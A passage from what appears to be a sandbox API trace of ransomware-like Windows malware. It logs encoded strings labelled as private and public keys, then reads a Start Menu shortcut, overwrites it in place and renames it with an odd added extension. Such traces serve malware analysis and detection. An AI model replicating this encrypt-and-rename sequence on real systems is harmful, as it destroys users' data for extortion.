vgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.708] GetCurrentThreadId () returned 0xa30 [0131.708] GetCurrentThreadId () returned 0xa30 [0131.708] GetCurrentThreadId () returned 0xa30 [0131.709] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.709] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.709] GetCurrentThreadId () returned 0xa30 [0131.709] GetCurrentThreadId () returned 0xa30 [0131.709] GetCurrentThreadId () returned 0xa30 [0131.710] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sticky notes.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.710] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0131.710] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.710] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x547 [0131.710] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.710] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x547, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x547, lpOverlapped=0x0) returned 1 [0131.713] CloseHandle (hObject=0x1e8) returned 1 [0131.713] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sticky notes.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.715] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x547, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x547, lpOverlapped=0x0) returned 1 [0131.767] CloseHandle (hObject=0x1e8) returned 1 [0131.767] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sticky notes.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sticky notes.lnk.zv7un")) returned 1 [0131.769] GetCurrentThreadId () returned 0xa30 [0131.769] GetCurrentThreadId () returned 0xa30 [0131.769] GetCurrentThreadId () returned 0xa30 [0131.769] GetCurrentThreadId () returned 0xa30 [0131.769] GetCurrentThreadId () returned 0xa30 [0131.769] GetCurrentThreadId () returned 0xa30 [0131.770] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9baa28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c9baa28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3ca06ce9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Sync Center.lnk", cAlternateFileName="SYNCCE~1.LNK")) returned 1 [0131.770] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.770] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.770] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sync center.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9baa28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c9baa28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3ca06ce9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e6)) returned 1 [0131.770] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sync center.lnk")) returned 0x20 [0131.771] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk", dwFileAttributes=0x80) returned 1 [0131.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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